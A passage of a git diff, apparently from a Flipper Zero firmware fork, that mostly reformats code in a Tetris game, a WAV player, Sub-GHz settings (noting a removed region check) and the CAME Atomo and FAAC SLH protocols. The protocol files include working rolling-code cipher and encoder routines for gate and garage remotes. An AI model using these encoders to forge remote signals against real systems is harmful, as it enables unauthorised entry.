subghz_scene_set_seed_bft_on_event(void* context, SceneManagerEvent event) return true; } } - return consumed;; + return consumed; } void subghz_scene_set_seed_bft_on_exit(void* context) { SubGhz* subghz = context; - + // Clear view byte_input_set_result_callback(subghz->byte_input, NULL, NULL, NULL, NULL, 0); byte_input_set_header_text(subghz->byte_input, ""); diff --git a/applications/subghz/subghz_setting.c b/applications/subghz/subghz_setting.c index 25b488d84..84dffc1c6 100644 --- a/applications/subghz/subghz_setting.c +++ b/applications/subghz/subghz_setting.c @@ -31,7 +31,7 @@ static const uint32_t subghz_frequency_list[] = { 390000000, 418000000, 433075000, /* LPD433 first */ - 433220000, /* 2016-2020 Honda */ + 433220000, /* 2016-2020 Honda */ 433420000, 433889000, /* ROGUE? */ 433920000 | FREQUENCY_FLAG_DEFAULT, /* LPD433 mid */ @@ -105,7 +105,7 @@ static void subghz_setting_load_default_region( // Region check removed void subghz_setting_load_default(SubGhzSetting* instance) { subghz_setting_load_default_region( - instance, subghz_frequency_list, subghz_hopper_frequency_list); + instance, subghz_frequency_list, subghz_hopper_frequency_list); } void subghz_setting_load(SubGhzSetting* instance, const char* file_path) { diff --git a/applications/tetris_game/tetris_game.c b/applications/tetris_game/tetris_game.c index 66ae0d55f..bf4332632 100644 --- a/applications/tetris_game/tetris_game.c +++ b/applications/tetris_game/tetris_game.c @@ -22,35 +22,24 @@ typedef struct Point { // Rotation logic taken from // https://www.youtube.com/watch?v=yIpk5TJ_uaI -typedef enum { - OffsetTypeCommon, - OffsetTypeI, - OffsetTypeO -} OffsetType; +typedef enum { OffsetTypeCommon, OffsetTypeI, OffsetTypeO } OffsetType; // Since we only support rotating clockwise, these are actual translation values, // not values to be subtracted to get translation values static const Point rotOffsetTranslation[3][4][5] = { - { - { {0,0}, {-1,0}, {-1,-1}, {0,2}, {-1,2} }, - { {0,0}, {1,0}, {1,1}, {0,-2}, {1,-2} }, - { {0,0}, {1,0}, {1,-1}, {0,2}, {1,2} }, - { {0,0}, {-1,0}, {-1,1}, {0,-2}, {-1,-2} } - }, - { - { {1,0}, {-1,0}, {2,0}, {-1,1}, {2,-2} }, - { {0,1}, {-1,1}, {2,1}, {-1,-1}, {2,2} }, - { {-1,0}, {1,0}, {-2,0}, {1,-1}, {-2,2} }, - { {0,-1}, {1,-1}, {-2,-1}, {1,1}, {-2,-2} } - }, - { - { {0,-1}, {0,0}, {0,0}, {0,0}, {0,0} }, - { {1,0}, {0,0}, {0,0}, {0,0}, {0,0} }, - { {0,1}, {0,0}, {0,0}, {0,0}, {0,0} }, - { {-1,0}, {0,0}, {0,0}, {0,0}, {0,0} } - } -}; + {{{0, 0}, {-1, 0}, {-1, -1}, {0, 2}, {-1, 2}}, + {{0, 0}, {1, 0}, {1, 1}, {0, -2}, {1, -2}}, + {{0, 0}, {1, 0}, {1, -1}, {0, 2}, {1, 2}}, + {{0, 0}, {-1, 0}, {-1, 1}, {0, -2}, {-1, -2}}}, + {{{1, 0}, {-1, 0}, {2, 0}, {-1, 1}, {2, -2}}, + {{0, 1}, {-1, 1}, {2, 1}, {-1, -1}, {2, 2}}, + {{-1, 0}, {1, 0}, {-2, 0}, {1, -1}, {-2, 2}}, + {{0, -1}, {1, -1}, {-2, -1}, {1, 1}, {-2, -2}}}, + {{{0, -1}, {0, 0}, {0, 0}, {0, 0}, {0, 0}}, + {{1, 0}, {0, 0}, {0, 0}, {0, 0}, {0, 0}}, + {{0, 1}, {0, 0}, {0, 0}, {0, 0}, {0, 0}}, + {{-1, 0}, {0, 0}, {0, 0}, {0, 0}, {0, 0}}}}; typedef struct { Point p[4]; @@ -60,19 +49,16 @@ typedef struct { // Shapes @ spawn locations, rotation point first static Piece shapes[] = { - { .p = {{5, 1}, {4, 0}, {5, 0}, {6, 1}}, .rotIdx = 0, .offsetType = OffsetTypeCommon }, // Z - { .p = {{5, 1}, {4, 1}, {5, 0}, {6, 0}}, .rotIdx = 0, .offsetType = OffsetTypeCommon }, // S - { .p = {{5, 1}, {4, 1}, {6, 1}, {6, 0}}, .rotIdx = 0, .offsetType = OffsetTypeCommon }, // L - { .p = {{5, 1}, {4, 0}, {4, 1}, {6, 1}}, .rotIdx = 0, .offsetType = OffsetTypeCommon }, // J - { .p = {{5, 1}, {4, 1}, {5, 0}, {6, 1}}, .rotIdx = 0, .offsetType = OffsetTypeCommon }, // T - { .p = {{5, 1}, {4, 1}, {6, 1}, {7, 1}}, .rotIdx = 0, .offsetType = OffsetTypeI }, // I - { .p = {{5, 1}, {5, 0}, {6, 0}, {6, 1}}, .rotIdx = 0, .offsetType = OffsetTypeO } // O + {.p = {{5, 1}, {4, 0}, {5, 0}, {6, 1}}, .rotIdx = 0, .offsetType = OffsetTypeCommon}, // Z + {.p = {{5, 1}, {4, 1}, {5, 0}, {6, 0}}, .rotIdx = 0, .offsetType = OffsetTypeCommon}, // S + {.p = {{5, 1}, {4, 1}, {6, 1}, {6, 0}}, .rotIdx = 0, .offsetType = OffsetTypeCommon}, // L + {.p = {{5, 1}, {4, 0}, {4, 1}, {6, 1}}, .rotIdx = 0, .offsetType = OffsetTypeCommon}, // J + {.p = {{5, 1}, {4, 1}, {5, 0}, {6, 1}}, .rotIdx = 0, .offsetType = OffsetTypeCommon}, // T + {.p = {{5, 1}, {4, 1}, {6, 1}, {7, 1}}, .rotIdx = 0, .offsetType = OffsetTypeI}, // I + {.p = {{5, 1}, {5, 0}, {6, 0}, {6, 1}}, .rotIdx = 0, .offsetType = OffsetTypeO} // O }; -typedef enum { - GameStatePlaying, - GameStateGameOver -} GameState; +typedef enum { GameStatePlaying, GameStateGameOver } GameState; typedef struct { bool playField[FIELD_HEIGHT][FIELD_WIDTH]; @@ -106,35 +92,31 @@ static void tetris_game_draw_border(Canvas* const canvas) { static void tetris_game_draw_playfield(Canvas* const canvas, const TetrisState* tetris_state) { // Playfield: 11 x 24 - for (int y = 0; y < FIELD_HEIGHT; y++) { - for (int x = 0; x < FIELD_WIDTH; x++) { - if (tetris_state->playField[y][x]) { + for(int y = 0; y < FIELD_HEIGHT; y++) { + for(int x = 0; x < FIELD_WIDTH; x++) { + if(tetris_state->playField[y][x]) { uint16_t xOffset = x * 5; uint16_t yOffset = y * 5; canvas_draw_rframe( - canvas, - BORDER_OFFSET + MARGIN_OFFSET + xOffset, - BORDER_OFFSET + MARGIN_OFFSET + yOffset - 1, - BLOCK_WIDTH, + canvas, + BORDER_OFFSET + MARGIN_OFFSET + xOffset, + BORDER_OFFSET + MARGIN_OFFSET + yOffset - 1, + BLOCK_WIDTH, BLOCK_HEIGHT, - 1 - ); + 1); canvas_draw_dot( - canvas, + canvas, BORDER_OFFSET + MARGIN_OFFSET + xOffset + 2, - BORDER_OFFSET + MARGIN_OFFSET + yOffset + 1 - ); + BORDER_OFFSET + MARGIN_OFFSET + yOffset + 1); canvas_draw_dot( - canvas, + canvas, BORDER_OFFSET + MARGIN_OFFSET + xOffset + 3, - BORDER_OFFSET + MARGIN_OFFSET + yOffset + 1 - ); + BORDER_OFFSET + MARGIN_OFFSET + yOffset + 1); canvas_draw_dot( - canvas, + canvas, BORDER_OFFSET + MARGIN_OFFSET + xOffset + 2, - BORDER_OFFSET + MARGIN_OFFSET + yOffset + 2 - ); + BORDER_OFFSET + MARGIN_OFFSET + yOffset + 2); } } } @@ -173,8 +155,8 @@ static void tetris_game_render_callback(Canvas* const canvas, void* ctx) { canvas_set_font(canvas, FontSecondary); canvas_draw_str_aligned(canvas, 32, 73, AlignCenter, AlignBottom, buffer); } - release_mutex((ValueMutex *)ctx, tetris_state); - } + release_mutex((ValueMutex*)ctx, tetris_state); +} static void tetris_game_input_callback(InputEvent* input_event, osMessageQueueId_t event_queue) { furi_assert(event_queue); @@ -195,7 +177,7 @@ static void tetris_game_init_state(TetrisState* tetris_state) { } static void tetris_game_remove_curr_piece(TetrisState* tetris_state) { - for (int i = 0; i < 4; i++) { + for(int i = 0; i < 4; i++) { uint8_t x = tetris_state->currPiece.p[i].x; uint8_t y = tetris_state->currPiece.p[i].y; @@ -204,7 +186,7 @@ static void tetris_game_remove_curr_piece(TetrisState* tetris_state) { } static void tetris_game_render_curr_piece(TetrisState* tetris_state) { - for (int i = 0; i < 4; i++) { + for(int i = 0; i < 4; i++) { uint8_t x = tetris_state->currPiece.p[i].x; uint8_t y = tetris_state->currPiece.p[i].y; @@ -218,7 +200,7 @@ static void tetris_game_rotate_shape(Point currShape[], Point newShape[]) { newShape[i] = currShape[i]; } - for (int i = 1; i < 4; i++) { + for(int i = 1; i < 4; i++) { int8_t relX = currShape[i].x - currShape[0].x; int8_t relY = currShape[i].y - currShape[0].y; @@ -239,19 +221,20 @@ static void tetris_game_apply_kick(Point points[], Point kick) { } static bool tetris_game_is_valid_pos(TetrisState* tetris_state, Point* shape) { - for (int i = 0; i < 4; i++) { - if(shape[i].x < 0 || shape[i].x > (FIELD_WIDTH - 1) || tetris_state->playField[shape[i].y][shape[i].x] == true) { + for(int i = 0; i < 4; i++) { + if(shape[i].x < 0 || shape[i].x > (FIELD_WIDTH - 1) || + tetris_state->playField[shape[i].y][shape[i].x] == true) { return false; } } return true; } -static void tetris_game_try_rotation(TetrisState* tetris_state, Piece *newPiece) { +static void tetris_game_try_rotation(TetrisState* tetris_state, Piece* newPiece) { uint8_t currRotIdx = tetris_state->currPiece.rotIdx; - Point *rotatedShape = malloc(sizeof(Point) * 4); - Point *kickedShape = malloc(sizeof(Point) * 4); + Point* rotatedShape = malloc(sizeof(Point) * 4); + Point* kickedShape = malloc(sizeof(Point) * 4); memcpy(rotatedShape, &tetris_state->currPiece.p, sizeof(tetris_state->currPiece.p)); @@ -259,7 +242,8 @@ static void tetris_game_try_rotation(TetrisState* tetris_state, Piece *newPiece) for(int i = 0; i < 5; i++) { memcpy(kickedShape, rotatedShape, (sizeof(Point) * 4)); - tetris_game_apply_kick(kickedShape, rotOffsetTranslation[newPiece->offsetType][currRotIdx][i]); + tetris_game_apply_kick( + kickedShape, rotOffsetTranslation[newPiece->offsetType][currRotIdx][i]); if(tetris_game_is_valid_pos(tetris_state, kickedShape)) { memcpy(&newPiece->p, kickedShape, sizeof(newPiece->p)); @@ -273,13 +257,13 @@ static void tetris_game_try_rotation(TetrisState* tetris_state, Piece *newPiece) static bool tetris_game_row_is_line(bool row[]) { for(int i = 0; i < FIELD_WIDTH; i++) { - if(row[i] == false) - return false; + if(row[i] == false) return false; } return true; } -static void tetris_game_check_for_lines(TetrisState* tetris_state, uint8_t* lines, uint8_t* numLines) { +static void + tetris_game_check_for_lines(TetrisState* tetris_state, uint8_t* lines, uint8_t* numLines) { for(int i = 0; i < FIELD_HEIGHT; i++) { if(tetris_game_row_is_line(tetris_state->playField[i])) { *(lines++) = i; @@ -289,9 +273,9 @@ static void tetris_game_check_for_lines(TetrisState* tetris_state, uint8_t* line } static bool tetris_game_piece_at_bottom(TetrisState* tetris_state, Piece* newPiece) { - for (int i = 0; i < 4; i++) { - Point *pos = (Point *)&newPiece->p; - if (pos[i].y >= FIELD_HEIGHT || tetris_state->playField[pos[i].y][pos[i].x] == true) { + for(int i = 0; i < 4; i++) { + Point* pos = (Point*)&newPiece->p; + if(pos[i].y >= FIELD_HEIGHT || tetris_state->playField[pos[i].y][pos[i].x] == true) { return true; } } @@ -305,9 +289,9 @@ static void tetris_game_update_timer_callback(osMessageQueueId_t event_queue) { osMessageQueuePut(event_queue, &event, 0, osWaitForever); } -static void tetris_game_process_step(TetrisState* tetris_state, Piece* newPiece, bool wasDownMove) { - if(tetris_state->gameState == GameStateGameOver) - return; +static void + tetris_game_process_step(TetrisState* tetris_state, Piece* newPiece, bool wasDownMove) { + if(tetris_state->gameState == GameStateGameOver) return; tetris_game_remove_curr_piece(tetris_state); @@ -317,20 +301,20 @@ static void tetris_game_process_step(TetrisState* tetris_state, Piece* newPiece, tetris_game_render_curr_piece(tetris_state); uint8_t numLines = 0; - uint8_t lines[] = { 0,0,0,0 }; + uint8_t lines[] = {0, 0, 0, 0}; tetris_game_check_for_lines(tetris_state, lines, &numLines); if(numLines > 0) { for(int i = 0; i < numLines; i++) { - // zero out row for(int j = 0; j < FIELD_WIDTH; j++) { tetris_state->playField[lines[i]][j] = false; } // move all above rows down - for(int k = lines[i]; k >= 0 ; k--) { + for(int k = lines[i]; k >= 0; k--) { for(int m = 0; m < FIELD_WIDTH; m++) { - tetris_state->playField[k][m] = (k == 0) ? false : tetris_state->playField[k-1][m]; + tetris_state->playField[k][m] = + (k == 0) ? false : tetris_state->playField[k - 1][m]; } } } @@ -360,7 +344,6 @@ static void tetris_game_process_step(TetrisState* tetris_state, Piece* newPiece, tetris_game_render_curr_piece(tetris_state); } - int32_t tetris_game_app() { srand(DWT->CYCCNT); @@ -392,12 +375,13 @@ int32_t tetris_game_app() { Gui* gui = furi_record_open("gui"); gui_add_view_port(gui, view_port, GuiLayerFullscreen); - tetris_state->timer = osTimerNew(tetris_game_update_timer_callback, osTimerPeriodic, event_queue, NULL); + tetris_state->timer = + osTimerNew(tetris_game_update_timer_callback, osTimerPeriodic, event_queue, NULL); tetris_game_init_state(tetris_state); TetrisEvent event; - Piece *newPiece = malloc(sizeof(Piece)); + Piece* newPiece = malloc(sizeof(Piece)); uint8_t downRepeatCounter = 0; for(bool processing = true; processing;) { @@ -411,8 +395,8 @@ int32_t tetris_game_app() { if(!furi_hal_gpio_read(&gpio_button_right)) { if(downRepeatCounter > 3) { - for (int i = 0; i < 4; i++) { - newPiece->p[i].y += 1; + for(int i = 0; i < 4; i++) { + newPiece->p[i].y += 1; } downRepeatCounter = 0; wasDownMove = true; @@ -423,19 +407,20 @@ int32_t tetris_game_app() { if(event_status == osOK) { if(event.type == EventTypeKey) { - if(event.input.type == InputTypePress || event.input.type == InputTypeLong || event.input.type == InputTypeRepeat) { + if(event.input.type == InputTypePress || event.input.type == InputTypeLong || + event.input.type == InputTypeRepeat) { switch(event.input.key) { case InputKeyUp: break; case InputKeyDown: break; case InputKeyRight: - for (int i = 0; i < 4; i++) { + for(int i = 0; i < 4; i++) { newPiece->p[i].x += 1; } break; case InputKeyLeft: - for (int i = 0; i < 4; i++) { + for(int i = 0; i < 4; i++) { newPiece->p[i].x -= 1; } break; @@ -457,8 +442,8 @@ int32_t tetris_game_app() { // TODO: This is inverted. it returns true when the button is not pressed. // see macro in input.c and do that if(furi_hal_gpio_read(&gpio_button_right)) { - for (int i = 0; i < 4; i++) { - newPiece->p[i].y += 1; + for(int i = 0; i < 4; i++) { + newPiece->p[i].y += 1; } wasDownMove = true; } @@ -471,7 +456,7 @@ int32_t tetris_game_app() { release_mutex(&state_mutex, tetris_state); } - osTimerDelete(tetris_state->timer); + osTimerDelete(tetris_state->timer); view_port_enabled_set(view_port, false); gui_remove_view_port(gui, view_port); furi_record_close("gui"); diff --git a/applications/wav_player/wav_player.c b/applications/wav_player/wav_player.c index 8c88f8004..60a3490db 100644 --- a/applications/wav_player/wav_player.c +++ b/applications/wav_player/wav_player.c @@ -19,11 +19,7 @@ static bool open_wav_stream(Storage* storage, Stream* stream) { string_t path; string_init(path); string_set_str(path, "/ext/wav_player"); - bool ret = - dialog_file_browser_show(dialogs, path, path, ".wav", - true, - &I_music_10px, - false); + bool ret = dialog_file_browser_show(dialogs, path, path, ".wav", true, &I_music_10px, false); furi_record_close("dialogs"); if(ret) { diff --git a/lib/subghz/protocols/came_atomo.c b/lib/subghz/protocols/came_atomo.c index 4f5ab9cf6..d9c5c9abf 100644 --- a/lib/subghz/protocols/came_atomo.c +++ b/lib/subghz/protocols/came_atomo.c @@ -124,7 +124,8 @@ static LevelDuration * Generating an upload from data. * @param instance Pointer to a SubGhzProtocolEncoderCameAtomo instance */ -static void subghz_protocol_encoder_came_atomo_get_upload(SubGhzProtocolEncoderCameAtomo* instance) { +static void + subghz_protocol_encoder_came_atomo_get_upload(SubGhzProtocolEncoderCameAtomo* instance) { furi_assert(instance); size_t index = 0; @@ -141,20 +142,23 @@ static void subghz_protocol_encoder_came_atomo_get_upload(SubGhzProtocolEncoderC level_duration_make(true, (uint32_t)subghz_protocol_came_atomo_const.te_long * 15); instance->encoder.upload[index++] = level_duration_make(false, (uint32_t)subghz_protocol_came_atomo_const.te_long * 60); - + for(uint8_t i = 0; i < 8; i++) { + pack[0] = (instance->generic.data_2 >> 56); + pack[1] = (instance->generic.cnt >> 8); + pack[2] = (instance->generic.cnt & 0xFF); + pack[3] = ((instance->generic.data_2 >> 32) & 0xFF); + pack[4] = ((instance->generic.data_2 >> 24) & 0xFF); + pack[5] = ((instance->generic.data_2 >> 16) & 0xFF); + pack[6] = ((instance->generic.data_2 >> 8) & 0xFF); + pack[7] = (instance->generic.data_2 & 0xFF); - pack[0] = (instance->generic.data_2 >> 56); pack[1] = (instance->generic.cnt >> 8); - pack[2] = (instance->generic.cnt & 0xFF); pack[3] = ((instance->generic.data_2 >> 32) & 0xFF); - pack[4] = ((instance->generic.data_2 >> 24) & 0xFF); pack[5] = ((instance->generic.data_2 >> 16) & 0xFF); - pack[6] = ((instance->generic.data_2 >> 8) & 0xFF); pack[7] = (instance->generic.data_2 & 0xFF); - - if (pack[0] == 0x7F) { + if(pack[0] == 0x7F) { pack[0] = 0; } else { - pack[0] += (i+1); + pack[0] += (i + 1); } - + atomo_encrypt(pack); uint32_t hi = pack[0] << 24 | pack[1] << 16 | pack[2] << 8 | pack[3]; uint32_t lo = pack[4] << 24 | pack[5] << 16 | pack[6] << 8 | pack[7]; @@ -162,21 +166,27 @@ static void subghz_protocol_encoder_came_atomo_get_upload(SubGhzProtocolEncoderC instance->generic.data ^= 0xFFFFFFFFFFFFFFFF; instance->generic.data >>= 4; - instance->generic.data &= 0xFFFFFFFFFFFFFFF; - + instance->generic.data &= 0xFFFFFFFFFFFFFFF; + instance->encoder.upload[index++] = - level_duration_make(true, (uint32_t)subghz_protocol_came_atomo_const.te_long); + level_duration_make(true, (uint32_t)subghz_protocol_came_atomo_const.te_long); instance->encoder.upload[index++] = - level_duration_make(false, (uint32_t)subghz_protocol_came_atomo_const.te_short); - + level_duration_make(false, (uint32_t)subghz_protocol_came_atomo_const.te_short); + for(uint8_t i = (instance->generic.data_count_bit - 2); i > 0; i--) { - if(!manchester_encoder_advance(&enc_state, !bit_read(instance->generic.data, i - 1), &result)) { - instance->encoder.upload[index++] = subghz_protocol_encoder_came_atomo_add_duration_to_upload(result); - manchester_encoder_advance(&enc_state, !bit_read(instance->generic.data, i - 1), &result); + if(!manchester_encoder_advance( + &enc_state, !bit_read(instance->generic.data, i - 1), &result)) { + instance->encoder.upload[index++] = + subghz_protocol_encoder_came_atomo_add_duration_to_upload(result); + manchester_encoder_advance( + &enc_state, !bit_read(instance->generic.data, i - 1), &result); } - instance->encoder.upload[index++] = subghz_protocol_encoder_came_atomo_add_duration_to_upload(result); + instance->encoder.upload[index++] = + subghz_protocol_encoder_came_atomo_add_duration_to_upload(result); } - instance->encoder.upload[index] = subghz_protocol_encoder_came_atomo_add_duration_to_upload(manchester_encoder_finish(&enc_state)); + instance->encoder.upload[index] = + subghz_protocol_encoder_came_atomo_add_duration_to_upload( + manchester_encoder_finish(&enc_state)); if(level_duration_get_level(instance->encoder.upload[index])) { index++; } @@ -186,11 +196,15 @@ static void subghz_protocol_encoder_came_atomo_get_upload(SubGhzProtocolEncoderC } instance->encoder.size_upload = index; instance->generic.cnt_2++; - pack[0] = (instance->generic.cnt_2); pack[1] = (instance->generic.cnt >> 8); - pack[2] = (instance->generic.cnt & 0xFF); pack[3] = ((instance->generic.data_2 >> 32) & 0xFF); - pack[4] = ((instance->generic.data_2 >> 24) & 0xFF); pack[5] = ((instance->generic.data_2 >> 16) & 0xFF); - pack[6] = ((instance->generic.data_2 >> 8) & 0xFF); pack[7] = (instance->generic.data_2 & 0xFF); - + pack[0] = (instance->generic.cnt_2); + pack[1] = (instance->generic.cnt >> 8); + pack[2] = (instance->generic.cnt & 0xFF); + pack[3] = ((instance->generic.data_2 >> 32) & 0xFF); + pack[4] = ((instance->generic.data_2 >> 24) & 0xFF); + pack[5] = ((instance->generic.data_2 >> 16) & 0xFF); + pack[6] = ((instance->generic.data_2 >> 8) & 0xFF); + pack[7] = (instance->generic.data_2 & 0xFF); + atomo_encrypt(pack); uint32_t hi = pack[0] << 24 | pack[1] << 16 | pack[2] << 8 | pack[3]; uint32_t lo = pack[4] << 24 | pack[5] << 16 | pack[6] << 8 | pack[7]; @@ -376,8 +390,7 @@ void subghz_protocol_decoder_came_atomo_feed(void* context, bool level, uint32_t * @param instance Pointer to a SubGhzBlockGeneric* instance * @param file_name Full path to rainbow table the file */ -static void subghz_protocol_came_atomo_remote_controller( - SubGhzBlockGeneric* instance) { +static void subghz_protocol_came_atomo_remote_controller(SubGhzBlockGeneric* instance) { /* * ***SkorP ver.*** * 0x1fafef3ed0f7d9ef @@ -443,65 +456,77 @@ static void subghz_protocol_came_atomo_remote_controller( instance->data ^= 0xFFFFFFFFFFFFFFFF; instance->data <<= 4; - + uint8_t pack[8] = {}; - pack[0] = (instance->data >> 56); pack[1] = ((instance->data >> 48) & 0xFF); - pack[2] = ((instance->data >> 40) & 0xFF); pack[3] = ((instance->data >> 32) & 0xFF); - pack[4] = ((instance->data >> 24) & 0xFF); pack[5] = ((instance->data >> 16) & 0xFF); - pack[6] = ((instance->data >> 8) & 0xFF); pack[7] = (instance->data & 0xFF); - + pack[0] = (instance->data >> 56); + pack[1] = ((instance->data >> 48) & 0xFF); + pack[2] = ((instance->data >> 40) & 0xFF); + pack[3] = ((instance->data >> 32) & 0xFF); + pack[4] = ((instance->data >> 24) & 0xFF); + pack[5] = ((instance->data >> 16) & 0xFF); + pack[6] = ((instance->data >> 8) & 0xFF); + pack[7] = (instance->data & 0xFF); + atomo_decrypt(pack); instance->cnt_2 = pack[0]; instance->cnt = (uint16_t)pack[1] << 8 | pack[2]; instance->serial = (uint32_t)(pack[3]) << 24 | pack[4] << 16 | pack[5] << 8 | pack[6]; - + uint8_t btn_decode = (pack[7] >> 4); - if(btn_decode == 0x0) {instance->btn = 0x1;} - if(btn_decode == 0x2) {instance->btn = 0x2;} - if(btn_decode == 0x4) {instance->btn = 0x3;} - if(btn_decode == 0x6) {instance->btn = 0x4;} - + if(btn_decode == 0x0) { + instance->btn = 0x1; + } + if(btn_decode == 0x2) { + instance->btn = 0x2; + } + if(btn_decode == 0x4) { + instance->btn = 0x3; + } + if(btn_decode == 0x6) { + instance->btn = 0x4; + } + uint32_t hi = pack[0] << 24 | pack[1] << 16 | pack[2] << 8 | pack[3]; uint32_t lo = pack[4] << 24 | pack[5] << 16 | pack[6] << 8 | pack[7]; instance->data_2 = (uint64_t)hi << 32 | lo; } -void atomo_encrypt(uint8_t *buff) { - uint8_t tmpB = (~buff[0]+1) & 0x7F; +void atomo_encrypt(uint8_t* buff) { + uint8_t tmpB = (~buff[0] + 1) & 0x7F; uint8_t bitCnt = 8; - while (bitCnt < 59) { - if ( (tmpB & 0x18) && ( ((tmpB / 8) & 3) != 3 ) ) { + while(bitCnt < 59) { + if((tmpB & 0x18) && (((tmpB / 8) & 3) != 3)) { tmpB = ((tmpB << 1) & 0xFF) | 1; } else { tmpB = (tmpB << 1) & 0xFF; } - if ( tmpB & 0x80 ) { - buff[bitCnt/8] ^= (0x80 >> (bitCnt & 7)); + if(tmpB & 0x80) { + buff[bitCnt / 8] ^= (0x80 >> (bitCnt & 7)); } bitCnt++; } - buff[0] = ( buff[0] ^ 5 ) & 0x7F; + buff[0] = (buff[0] ^ 5) & 0x7F; } -void atomo_decrypt(uint8_t *buff) { - buff[0] = ( buff[0] ^ 5 ) & 0x7F; - uint8_t tmpB = ( -buff[0]) & 0x7F; +void atomo_decrypt(uint8_t* buff) { + buff[0] = (buff[0] ^ 5) & 0x7F; + uint8_t tmpB = (-buff[0]) & 0x7F; uint8_t bitCnt = 8; - while (bitCnt < 59) { - if ( (tmpB & 0x18) && ( ((tmpB / 8) & 3) != 3 ) ) { + while(bitCnt < 59) { + if((tmpB & 0x18) && (((tmpB / 8) & 3) != 3)) { tmpB = ((tmpB << 1) & 0xFF) | 1; } else { tmpB = (tmpB << 1) & 0xFF; } - if ( tmpB & 0x80 ) { - buff[bitCnt /8] ^= (0x80 >> (bitCnt & 7)); + if(tmpB & 0x80) { + buff[bitCnt / 8] ^= (0x80 >> (bitCnt & 7)); } bitCnt++; @@ -534,8 +559,7 @@ bool subghz_protocol_decoder_came_atomo_deserialize(void* context, FlipperFormat void subghz_protocol_decoder_came_atomo_get_string(void* context, string_t output) { furi_assert(context); SubGhzProtocolDecoderCameAtomo* instance = context; - subghz_protocol_came_atomo_remote_controller( - &instance->generic); + subghz_protocol_came_atomo_remote_controller(&instance->generic); uint32_t code_found_hi = instance->generic.data >> 32; uint32_t code_found_lo = instance->generic.data & 0x00000000ffffffff; diff --git a/lib/subghz/protocols/came_atomo.h b/lib/subghz/protocols/came_atomo.h index e4972f63e..e1752bb88 100644 --- a/lib/subghz/protocols/came_atomo.h +++ b/lib/subghz/protocols/came_atomo.h @@ -10,9 +10,9 @@ extern const SubGhzProtocolDecoder subghz_protocol_came_atomo_decoder; extern const SubGhzProtocolEncoder subghz_protocol_came_atomo_encoder; extern const SubGhzProtocol subghz_protocol_came_atomo; -void atomo_decrypt(uint8_t *buff); +void atomo_decrypt(uint8_t* buff); -void atomo_encrypt(uint8_t *buff); +void atomo_encrypt(uint8_t* buff); /** * Allocate SubGhzProtocolEncoderCameAtomo. @@ -48,7 +48,6 @@ void subghz_protocol_encoder_came_atomo_stop(void* context); */ LevelDuration subghz_protocol_encoder_came_atomo_yield(void* context); - /** * Allocate SubGhzProtocolDecoderCameAtomo. * @param environment Pointer to a SubGhzEnvironment instance diff --git a/lib/subghz/protocols/faac_slh.c b/lib/subghz/protocols/faac_slh.c index 51e556706..290c7d5d5 100644 --- a/lib/subghz/protocols/faac_slh.c +++ b/lib/subghz/protocols/faac_slh.c @@ -84,10 +84,10 @@ const SubGhzProtocol subghz_protocol_faac_slh = { * @param keystore Pointer to a SubGhzKeystore* instance * @param manufacture_name */ -static void subghz_protocol_faac_slh_check_remote_controller - (SubGhzBlockGeneric* instance, - SubGhzKeystore* keystore, - const char** manufacture_name); +static void subghz_protocol_faac_slh_check_remote_controller( + SubGhzBlockGeneric* instance, + SubGhzKeystore* keystore, + const char** manufacture_name); void* subghz_protocol_encoder_faac_slh_alloc(SubGhzEnvironment* environment) { SubGhzProtocolEncoderFaacSLH* instance = malloc(sizeof(SubGhzProtocolEncoderFaacSLH)); @@ -119,16 +119,15 @@ static bool subghz_protocol_faac_slh_gen_data(SubGhzProtocolEncoderFaacSLH* inst int res = 0; char fixx[8] = {}; int shiftby = 32; - for (int i = 0; i < 8; i++) { + for(int i = 0; i < 8; i++) { fixx[i] = (fix >> (shiftby -= 4)) & 0xF; } - if ((instance->generic.cnt % 2) == 0) { - decrypt = fixx[6] << 28 | fixx[7] << 24 | fixx[5] << 20 | - fixx[1] << 16 | instance->generic.cnt; - } - else { - decrypt = fixx[2] << 28 | fixx[3] << 24 | fixx[4] << 20 | - fixx[1] << 16 | instance->generic.cnt; + if((instance->generic.cnt % 2) == 0) { + decrypt = fixx[6] << 28 | fixx[7] << 24 | fixx[5] << 20 | fixx[1] << 16 | + instance->generic.cnt; + } else { + decrypt = fixx[2] << 28 | fixx[3] << 24 | fixx[4] << 20 | fixx[1] << 16 | + instance->generic.cnt; } for M_EACH(manufacture_code, *subghz_keystore_get_data(instance->keystore), SubGhzKeyArray_t) { @@ -137,7 +136,8 @@ static bool subghz_protocol_faac_slh_gen_data(SubGhzProtocolEncoderFaacSLH* inst switch(manufacture_code->type) { case KEELOQ_LEARNING_FAAC: //FAAC Learning - man = subghz_protocol_keeloq_common_faac_learning(instance->generic.seed, manufacture_code->key); + man = subghz_protocol_keeloq_common_faac_learning( + instance->generic.seed, manufacture_code->key); hop = subghz_protocol_keeloq_common_encrypt(decrypt, man); break; } @@ -160,19 +160,20 @@ bool subghz_protocol_faac_slh_create_data( const char* manufacture_name, uint32_t frequency, FuriHalSubGhzPreset preset) { - furi_assert(context); - SubGhzProtocolEncoderFaacSLH* instance = context; - instance->generic.serial = serial; - instance->generic.btn = btn; - instance->generic.cnt = cnt; - instance->generic.seed = seed; - instance->manufacture_name = manufacture_name; - instance->generic.data_count_bit = 64; - bool res = subghz_protocol_faac_slh_gen_data(instance); - if(res) { - res = subghz_block_generic_serialize(&instance->generic, flipper_format, frequency, preset); - } - return res; + furi_assert(context); + SubGhzProtocolEncoderFaacSLH* instance = context; + instance->generic.serial = serial; + instance->generic.btn = btn; + instance->generic.cnt = cnt; + instance->generic.seed = seed; + instance->manufacture_name = manufacture_name; + instance->generic.data_count_bit = 64; + bool res = subghz_protocol_faac_slh_gen_data(instance); + if(res) { + res = + subghz_block_generic_serialize(&instance->generic, flipper_format, frequency, preset); + } + return res; } /** @@ -180,8 +181,7 @@ bool subghz_protocol_faac_slh_create_data( * @param instance Pointer to a SubGhzProtocolEncoderFaacSLH instance * @return true On success */ -static bool - subghz_protocol_encoder_faac_slh_get_upload(SubGhzProtocolEncoderFaacSLH* instance) { +static bool subghz_protocol_encoder_faac_slh_get_upload(SubGhzProtocolEncoderFaacSLH* instance) { furi_assert(instance); subghz_protocol_faac_slh_gen_data(instance); @@ -236,11 +236,12 @@ bool subghz_protocol_encoder_faac_slh_deserialize(void* context, FlipperFormat* FURI_LOG_E(TAG, "Missing Seed"); break; } - instance->generic.seed = seed_data[0] << 24 | seed_data[1] << 16 | seed_data[2] << 8 | seed_data[3] ; + instance->generic.seed = seed_data[0] << 24 | seed_data[1] << 16 | seed_data[2] << 8 | + seed_data[3]; subghz_protocol_faac_slh_check_remote_controller( &instance->generic, 